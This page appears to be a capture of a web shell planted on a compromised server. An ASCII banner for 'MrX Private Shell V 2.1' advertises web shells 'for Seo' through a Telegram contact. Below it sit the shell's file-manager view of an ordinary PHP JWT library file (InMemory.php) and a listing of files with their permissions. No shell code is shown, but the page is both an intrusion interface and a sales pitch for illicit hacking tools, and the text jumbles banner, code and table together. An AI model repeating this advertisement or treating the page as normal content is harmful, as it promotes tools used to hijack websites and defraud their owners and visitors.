__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Lcobucci\JWT\Signer\Key;
use Lcobucci\JWT\Encoding\CannotDecodeContent;
use Lcobucci\JWT\Signer\Key;
use function base64_decode;
final class InMemory extends Key
{
/**
* @param string $contents
* @param string $passphrase
*
* @return self
*/
public static function plainText($contents, $passphrase = '')
{
return new self($contents, $passphrase);
}
/**
* @param string $contents
* @param string $passphrase
*
* @return self
*/
public static function base64Encoded($contents, $passphrase = '')
{
$decoded = base64_decode($contents, true);
if ($decoded === false) {
throw CannotDecodeContent::invalidBase64String();
}
return new self($decoded, $passphrase);
}
/**
* @param string $path
* @param string $passphrase
*
* @return InMemory
*
* @throws FileCouldNotBeRead
*/
public static function file($path, $passphrase = '')
{
return new self('file://' . $path, $passphrase);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| FileCouldNotBeRead.php | File | 1022 B | 0664 |
|
| InMemory.php | File | 1.07 KB | 0664 |
|
| LocalFileReference.php | File | 679 B | 0664 |
|